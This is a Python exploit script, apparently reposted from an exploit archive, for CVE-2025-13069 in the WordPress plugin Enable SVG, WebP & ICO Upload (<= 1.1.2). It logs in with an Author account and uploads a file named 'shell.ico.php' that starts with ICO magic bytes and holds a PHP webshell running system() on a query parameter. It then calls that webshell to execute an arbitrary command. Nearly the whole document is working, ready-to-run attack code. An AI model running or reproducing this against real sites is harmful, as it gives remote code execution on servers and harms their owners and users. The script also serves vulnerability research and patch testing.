Share
## https://sploitus.com/exploit?id=PACKETSTORM:226426
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Enable SVG, WebP & ICO Upload <= 1.1.2 - Authenticated (Author+) Arbitrary File Upload to RCE
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/enable-svg-webp-ico-upload/
# Software Link: https://downloads.wordpress.org/plugin/enable-svg-webp-ico-upload.1.1.2.zip
# Version: 1.1.2 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-13069
"""
Enable SVG, WebP & ICO Upload <= 1.1.2 lets an authenticated Author (cap upload_files) upload a
PHP webshell. The `upload_ico_files` filter (includes/class-ico.php) accepts ANY file whose name
merely CONTAINS '.ico' and whose first 4 bytes are the ICO magic (\\x00\\x00\\x01\\x00), returning
ext='ico'/type='image/x-icon' โ but WordPress saves the file under its real name. Uploading
`shell.ico.php` (magic bytes + PHP) therefore lands an executable .php in wp-content/uploads.
Prior state: a logged-in Author account (created by the site; here lp_author / Passw0rd!123).
Usage:
python3 CVE-2025-13069_svg-ico-upload.py --target http://localhost:8090 --user lp_author --pass 'Passw0rd!123' --cmd id
"""
import argparse, re, sys
import requests
requests.packages.urllib3.disable_warnings()
TOKEN = "SVGICO_PWNED_13069"
PAYLOAD = b"\x00\x00\x01\x00<?php echo '%s:'; if(isset($_GET['c'])) system($_GET['c']); ?>" % TOKEN.encode()
def login(s, base, user, pw):
s.get(base + "/wp-login.php")
s.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
s.post(base + "/wp-login.php",
data={"log": user, "pwd": pw, "wp-submit": "Log In",
"redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
return any("wordpress_logged_in" in c.name for c in s.cookies)
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--user", default="lp_author")
ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
ap.add_argument("--cmd", default="id")
ap.add_argument("--name", default="shell.ico.php")
args = ap.parse_args()
base = args.target.rstrip("/")
s = requests.Session(); s.verify = False
print(f"[*] Target: {base}")
if not login(s, base, args.user, args.pw):
print(f"[-] Login failed for {args.user}"); return 1
print(f"[+] Logged in as {args.user}")
# media-form nonce for the async uploader
html = s.get(base + "/wp-admin/media-new.php").text
m = re.search(r'"_wpnonce":"([a-f0-9]+)"', html) or re.search(r'name="_wpnonce"\s+value="([a-f0-9]+)"', html)
nonce = m.group(1) if m else None
print(f"[*] media-form nonce: {nonce}")
files = {"async-upload": (args.name, PAYLOAD, "image/x-icon")}
data = {"action": "upload-attachment", "_wpnonce": nonce, "name": args.name}
r = s.post(base + "/wp-admin/admin-ajax.php", files=files, data=data, timeout=30)
print(f"[*] upload-attachment -> HTTP {r.status_code} :: {r.text[:200]}")
url = None
mm = re.search(r'"url":"([^"]+?%s[^"]*)"' % re.escape(args.name.replace(".", "\\/")), r.text) \
or re.search(r'"url":"(https?:\\?/\\?/[^"]+\.php)"', r.text)
if mm:
url = mm.group(1).replace("\\/", "/")
if not url:
# fall back to the standard uploads path
import datetime
now = datetime.datetime.now(datetime.timezone.utc)
url = f"{base}/wp-content/uploads/{now.year}/{now.month:02d}/{args.name}"
print(f"[*] Webshell URL: {url}")
rr = s.get(url, params={"c": args.cmd}, timeout=15)
if TOKEN in rr.text:
out = rr.text.split(TOKEN + ":", 1)[1].strip()
print(f"\n[+] RCE CONFIRMED (authenticated Author arbitrary file upload).")
print(f"[+] `{args.cmd}` output:\n{'-'*50}\n{out}\n{'-'*50}")
return 0
print(f"\n[-] Could not confirm. Response: {rr.text[:160]}")
return 1
if __name__ == "__main__":
sys.exit(main())